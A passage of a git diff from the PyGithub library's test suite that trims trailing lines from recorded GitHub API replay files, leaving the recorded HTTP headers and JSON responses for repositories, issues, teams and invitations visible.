argazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2"},"html":{"href":"https://github.com/tmshn/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04"}},"author_association":"OWNER","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":22,"deletions":0,"changed_files":2} - diff --git a/tests/ReplayData/Issue572.testPullReqeustAsIssue.txt b/tests/ReplayData/Issue572.testPullReqeustAsIssue.txt index ffbfdf3c53..4842d3814f 100644 --- a/tests/ReplayData/Issue572.testPullReqeustAsIssue.txt +++ b/tests/ReplayData/Issue572.testPullReqeustAsIssue.txt @@ -19,4 +19,3 @@ null 200 [('content-length', '1930'), ('x-runtime-rack', '0.066580'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"ae937c52e48359e25263e774150f5b9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DE:15E9B:47354C:5D1581:59BFD78B'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:20 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","repository_url":"https://api.github.com/repos/tmshn/PyGithub","labels_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/events","html_url":"https://github.com/tmshn/PyGithub/pull/2","id":258498982,"number":2,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"author_association":"OWNER","pull_request":{"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyGithub/pull/2.patch"},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","closed_by":null} - diff --git a/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterprise.txt b/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterprise.txt index 1a048b663e..7801fdc010 100644 --- a/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterprise.txt +++ b/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterprise.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://my.enterprise.com/some/prefix/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://my.enterprise.com/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"},{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://my.enterprise.com/some/prefix/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://my.enterprise.com/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}] - diff --git a/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterpriseWithPort.txt b/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterpriseWithPort.txt index 920d9bc09a..ba4f05ad21 100644 --- a/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterpriseWithPort.txt +++ b/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterpriseWithPort.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://my.enterprise.com:1234/some/prefix/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://my.enterprise.com:1234/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"},{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://my.enterprise.com:1234/some/prefix/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://my.enterprise.com:1234/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}] - diff --git a/tests/ReplayData/Issue823.setUp.txt b/tests/ReplayData/Issue823.setUp.txt index 360c07077f..e724890dbb 100644 --- a/tests/ReplayData/Issue823.setUp.txt +++ b/tests/ReplayData/Issue823.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 11:10:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1545826255'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"0452ef7aded17dfd16179e5248c4bd14"'), ('Last-Modified', 'Tue, 01 May 2018 17:57:43 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D55C:6FB2:118318A:2F5B512:5C2361C0')] {"name":"2019-batch","id":2745783,"node_id":"MDQ6VGVhbTI3NDU3ODM=","slug":"2019-batch","description":"Students from the batch of 2015-19","privacy":"closed","url":"https://api.github.com/teams/2745783","members_url":"https://api.github.com/teams/2745783/members{/member}","repositories_url":"https://api.github.com/teams/2745783/repos","permission":"pull","created_at":"2018-05-01T17:57:43Z","updated_at":"2018-05-01T17:57:43Z","members_count":6,"repos_count":1,"organization":{"login":"p-society","id":29895434,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI5ODk1NDM0","url":"https://api.github.com/orgs/p-society","repos_url":"https://api.github.com/orgs/p-society/repos","events_url":"https://api.github.com/orgs/p-society/events","hooks_url":"https://api.github.com/orgs/p-society/hooks","issues_url":"https://api.github.com/orgs/p-society/issues","members_url":"https://api.github.com/orgs/p-society/members{/member}","public_members_url":"https://api.github.com/orgs/p-society/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/29895434?v=4","description":"IIIT Bhubaneswar's Programming Society","name":"Programming Society","company":null,"blog":"https://p-society.herokuapp.com/","location":"Bhubaneswar","email":"psocietyiiitbh@gmail.com","is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":23,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/p-society","created_at":"2017-07-04T14:47:55Z","updated_at":"2018-12-05T16:45:38Z","type":"Organization"}} - diff --git a/tests/ReplayData/Issue823.testGetPendingInvitationAttributes.txt b/tests/ReplayData/Issue823.testGetPendingInvitationAttributes.txt index f5e7e82341..d4745679af 100644 --- a/tests/ReplayData/Issue823.testGetPendingInvitationAttributes.txt +++ b/tests/ReplayData/Issue823.testGetPendingInvitationAttributes.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 11:10:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1545826255'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"debc51b3da093a55c674f2303663ab69"'), ('X-GitHub-Media-Type', 'github.dazzler-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8C74:6FB4:3A8ABED:8659024:5C2361C2')] [{"id":6080804,"node_id":"MDIyOk9yZ2FuaXphdGlvbkludml0YXRpb242MDgwODA0","login":"pratchef","email":null,"role":"direct_member","created_at":"2018-05-02T00:19:26.000+05:30","inviter":{"login":"palash25","id":21367710,"node_id":"MDQ6VXNlcjIxMzY3NzEw","avatar_url":"https://avatars0.githubusercontent.com/u/21367710?v=4","gravatar_id":"","url":"https://api.github.com/users/palash25","html_url":"https://github.com/palash25","followers_url":"https://api.github.com/users/palash25/followers","following_url":"https://api.github.com/users/palash25/following{/other_user}","gists_url":"https://api.github.com/users/palash25/gists{/gist_id}","starred_url":"https://api.github.com/users/palash25/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/palash25/subscriptions","organizations_url":"https://api.github.com/users/palash25/orgs","repos_url":"https://api.github.com/users/palash25/repos","events_url":"https://api.github.com/users/palash25/events{/privacy}","received_events_url":"https://api.github.com/users/palash25/received_events","type":"User","site_admin":false},"team_count":1,"invitation_teams_url":"https://api.github.com/organizations/29895434/invitations/6080804/teams"}] - diff --git a/tests/ReplayData/Issue87.setUp.txt b/tests/ReplayData/Issue87.setUp.txt index ad967f64de..4732e184d6 100644 --- a/tests/ReplayData/Issue87.setUp.txt +++ b/tests/ReplayData/Issue87.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '1238'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4702'), ('server', 'nginx'), ('last-modified', 'Mon, 24 Sep 2012 18:51:20 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d0aaa41da0d7452a0dad489a3a4fcd35"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 25 Sep 2012 19:50:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"open_issues":16,"mirror_url":null,"has_issues":true,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","owner":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub","master_branch":"master","description":"Python library implementing the full Github API v3","forks_count":20,"has_downloads":true,"created_at":"2012-02-25T12:53:47Z","svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","network_count":20,"watchers_count":79,"size":408,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-09-17T19:28:28Z","forks":20,"has_wiki":true,"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"watchers":79,"open_issues_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","private":false,"updated_at":"2012-09-24T18:51:20Z","full_name":"jacquev6/PyGithub","id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub"} - diff --git a/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInBody.txt b/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInBody.txt index cc58a4b584..7f8b48f9ca 100644 --- a/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInBody.txt +++ b/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInBody.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '778'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('etag', '"5b11ec85aeed655554b5e7b977975ea0"'), ('x-ratelimit-remaining', '4710'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/96'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:41 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_by":null,"created_at":"2012-09-25T19:50:41Z","comments":0,"title":"Issue created by PyGithub","state":"open","assignee":null,"number":96,"updated_at":"2012-09-25T19:50:41Z","html_url":"https://github.com/jacquev6/PyGithub/issues/96","milestone":null,"body":"Escaped percent %25 in body","labels":[],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146,"login":"jacquev6","url":"https://api.github.com/users/jacquev6"},"pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"closed_at":null,"id":7132212,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/96"} - diff --git a/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInTitle.txt b/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInTitle.txt index 45223a76d7..1318f1ff8a 100644 --- a/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInTitle.txt +++ b/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInTitle.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4707'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('etag', '"50db679c69dac05fd00490516c95521a"'), ('content-length', '787'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/97'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"body":null,"assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/97","milestone":null,"created_at":"2012-09-25T19:50:43Z","comments":0,"title":"Issue with escaped percent %25 in title created by PyGithub","pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"closed_at":null,"state":"open","closed_by":null,"number":97,"updated_at":"2012-09-25T19:50:43Z","id":7132216,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/97"} - diff --git a/tests/ReplayData/Issue87.testCreateIssueWithPercentInBody.txt b/tests/ReplayData/Issue87.testCreateIssueWithPercentInBody.txt index d572a1a441..aa29ba04b0 100644 --- a/tests/ReplayData/Issue87.testCreateIssueWithPercentInBody.txt +++ b/tests/ReplayData/Issue87.testCreateIssueWithPercentInBody.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '768'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4704'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/98'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:45 GMT'), ('etag', '"41fe20e6fee4a38d4b11589129459e15"'), ('content-type', 'application/json; charset=utf-8')] {"body":"Percent % in body","assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/98","milestone":null,"created_at":"2012-09-25T19:50:45Z","comments":0,"title":"Issue created by PyGithub","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"closed_at":null,"state":"open","closed_by":null,"number":98,"updated_at":"2012-09-25T19:50:45Z","id":7132217,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/98"} - diff --git a/tests/ReplayData/Issue87.testCreateIssueWithPercentInTitle.txt b/tests/ReplayData/Issue87.testCreateIssueWithPercentInTitle.txt index afc82d8bea..8fbd51a483 100644 --- a/tests/ReplayData/Issue87.testCreateIssueWithPercentInTitle.txt +++ b/tests/ReplayData/Issue87.testCreateIssueWithPercentInTitle.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4701'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('content-length', '777'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"4f8b2cd3aecb26240538f54c3e4ff8f6"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/99'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:46 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"body":null,"assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"closed_at":null,"milestone":null,"created_at":"2012-09-25T19:50:46Z","comments":0,"closed_by":null,"title":"Issue with percent % in title created by PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"state":"open","number":99,"updated_at":"2012-09-25T19:50:46Z","id":7132221,"html_url":"https://github.com/jacquev6/PyGithub/issues/99","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/99"} - diff --git a/tests/ReplayData/Issue937.setUp.txt b/tests/ReplayData/Issue937.setUp.txt index 32cb4f191a..c01359c02d 100644 --- a/tests/ReplayData/Issue937.setUp.txt +++ b/tests/ReplayData/Issue937.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 21:13:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1540157093'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"03485dc4f57e5d0f70d3a97dfdf1be37"'), ('Last-Modified', 'Sun, 21 Oct 2018 20:22:32 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E77F:4832:2D5ED9C:66CB081:5BCCEBFF')] {"id":153993221,"node_id":"MDEwOlJlcG9zaXRvcnkxNTM5OTMyMjE=","name":"PyGithub","full_name":"hegde5/PyGithub","private":false,"owner":{"login":"hegde5","id":8609211,"node_id":"MDQ6VXNlcjg2MDkyMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/8609211?v=4","gravatar_id":"","url":"https://api.github.com/users/hegde5","html_url":"https://github.com/hegde5","followers_url":"https://api.github.com/users/hegde5/followers","following_url":"https://api.github.com/users/hegde5/following{/other_user}","gists_url":"https://api.github.com/users/hegde5/gists{/gist_id}","starred_url":"https://api.github.com/users/hegde5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hegde5/subscriptions","organizations_url":"https://api.github.com/users/hegde5/orgs","repos_url":"https://api.github.com/users/hegde5/repos","events_url":"https://api.github.com/users/hegde5/events{/privacy}","received_events_url":"https://api.github.com/users/hegde5/received_events","type":"User","site_admin":false},"html_url":"https://github.com/hegde5/PyGithub","description":"Description edited by 